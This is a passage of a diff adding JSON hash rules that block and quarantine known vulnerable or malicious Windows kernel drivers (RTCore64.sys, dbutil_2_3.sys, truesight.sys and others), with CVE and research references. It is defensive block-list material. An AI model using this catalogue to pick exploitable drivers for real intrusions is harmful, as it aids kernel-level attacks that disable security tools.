+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817462Z",
+  "creation_date": "2026-03-23T11:45:31.817464Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817470Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72190ae623520142cb34bfdc76b04b76bf1293ad7cc96827cb27b7c9cb44ac6d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "040d99da-dace-552a-b0d4-1406c2c8054c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973340Z",
+  "creation_date": "2026-03-23T11:45:29.973342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351",
+  "comment": "Voicemod Sociedad Limitada vulnerable driver (aka vmdrv.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "041ff1cd-b3b9-5941-81b3-d0931f57ad33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617913Z",
+  "creation_date": "2026-03-23T11:45:29.617915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617921Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ce9e4600859293c59d884ea721e9b20b2410f6ef80699f8a78a6b9fad505dfc",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04248533-2444-5e51-af83-9d552253ad9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476493Z",
+  "creation_date": "2026-03-23T11:45:30.476496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd2f1f7012fb1f4b2fb49be57af515cb462aa9c438e5756285d914d65da3745b",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "043aab6e-63d3-5a52-9ff3-d9ce9f89ab42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471655Z",
+  "creation_date": "2026-03-23T11:45:31.471659Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471668Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8218462d1cd9f1c9815c7282600eb2dbc88215c56e3c2618e8784da29fb3ab04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04428a81-4f00-5fa8-95e6-a11ee8e7f984",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487162Z",
+  "creation_date": "2026-03-23T11:45:31.487164Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "796b4afe7d3976ca2e6e680860f4b374b45db8e86499fff4ef4365ba36fee072",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "044f82e6-8799-596e-a713-905e8d9405c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460550Z",
+  "creation_date": "2026-03-23T11:45:30.460554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad0309c2d225d8540a47250e3773876e05ce6a47a7767511e2f68645562c0686",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "046ebb29-cf3d-5066-a846-2b9c28debf0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617361Z",
+  "creation_date": "2026-03-23T11:45:29.617363Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4780da56667e01cdd7eff83c23c772d68deb4d9fdb69d5302f556bb424151f51",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "047816b9-c437-5c9d-a035-9435722b434b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984638Z",
+  "creation_date": "2026-03-23T11:45:29.984640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42e170a7ab1d2c160d60abfc906872f9cfd0c2ee169ed76f6acb3f83b3eeefdb",
+  "comment": "Vulnerable Kernel Driver (aka BS_I2cIo.sys) [https://www.loldrivers.io/drivers/66be9e0a-9246-4404-b5b5-7fbde351668f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "047a07a6-c90d-557b-a1c5-a573e8d7d6c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976517Z",
+  "creation_date": "2026-03-23T11:45:29.976519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bbbe2ae5aa51868e7afc2c16c3a0a79fa3302e6830feeccca7f0363a62dddb4",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "047d8882-5302-5b74-9ce6-c818766e0e2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479829Z",
+  "creation_date": "2026-03-23T11:45:31.479833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "739f9676a4d86b0f725f1ebd897777123947ef5c24cf1f2822ffe4fbe9acff5c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04a3135d-7592-5d1a-9fda-e6e9d020538e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456277Z",
+  "creation_date": "2026-03-23T11:45:30.456280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "831b62145c21557928a694e6261e830f1545b5756ad51dcbd28a15fde570f4e7",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04a3e689-0b75-509e-be90-19b1db24fea1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607165Z",
+  "creation_date": "2026-03-23T11:45:29.607168Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607173Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1",
+  "comment": "Dell vulnerable driver (aka dbutil_2_3.sys) [CVE-2021-21551] [https://github.com/SpikySabra/Kernel-Cactus] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04aa5ae2-2d8e-5cd0-93cd-9702483d0a60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830438Z",
+  "creation_date": "2026-03-23T11:45:30.830440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cccd9bc2995be22986e22253724bf11c73d7a19ff77343c695cd888ad976c3d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04aee2b1-21d0-5a6f-ab12-c524f6233464",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141415Z",
+  "creation_date": "2026-03-23T11:45:31.141417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "300dd42952024fcdc8d3bd90bd8892ba391b016f4f7f57543bda6d2ce12d371b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04bc0990-91c5-5103-86cd-e58c14fa4ade",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454765Z",
+  "creation_date": "2026-03-23T11:45:30.454768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25454028a4f56d3c58747811a86be43397a6290d1a053bc30d97b41bf3c58c6f",
+  "comment": "Vulnerable Kernel Driver (aka jokercontroller.sys) [https://www.loldrivers.io/drivers/4c815256-2534-4476-b15d-7cbf24c80098/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04ca5a1c-6ffa-5da4-8acc-3eec3abfdcbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606917Z",
+  "creation_date": "2026-03-23T11:45:29.606919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a902521c5f82ad9acac815229a00e6ed9137b8d49106b64147b088ff89d0f01",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04d06975-93bd-5453-bdf1-ac7a5049d4ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615748Z",
+  "creation_date": "2026-03-23T11:45:29.615750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d82a938dc7b0077a06d940bd3ce6097e3b02cdc254ec6fd863c0e526f2af69fa",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04e42d59-a467-5cc4-9bbe-3d1bbc3e1998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454891Z",
+  "creation_date": "2026-03-23T11:45:30.454894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "407ca87833bd0931eec8005bb125e56d5765058c9b6422620aa95d8b2044239a",
+  "comment": "Vulnerable Kernel Driver (aka NICM.sys) [https://www.loldrivers.io/drivers/0f8e317e-ad2b-4b02-9f96-603bb8d28604/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04e603d7-2f2c-58b8-a465-e47c1484269b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985198Z",
+  "creation_date": "2026-03-23T11:45:29.985200Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985206Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d852810a7319e3249077a1b9f1317f6f4157a19bb99b90063d118c30c2c84ac2",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04fa0d38-9059-5ef5-9bc3-d5c472e45a78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153613Z",
+  "creation_date": "2026-03-23T11:45:31.153615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67437ca0f3ca0fe5ae7bbce6fc834e0252a936035d3d57bc069830c9d3ee2e15",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "04fdd464-f581-5107-877f-047f8a476e12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815473Z",
+  "creation_date": "2026-03-23T11:45:31.815475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb121a1776e70ee10b82d6818e6e91cd53966c498677c7d261b40d064be60831",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0506e24a-c838-5717-b346-0cf6040f7795",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
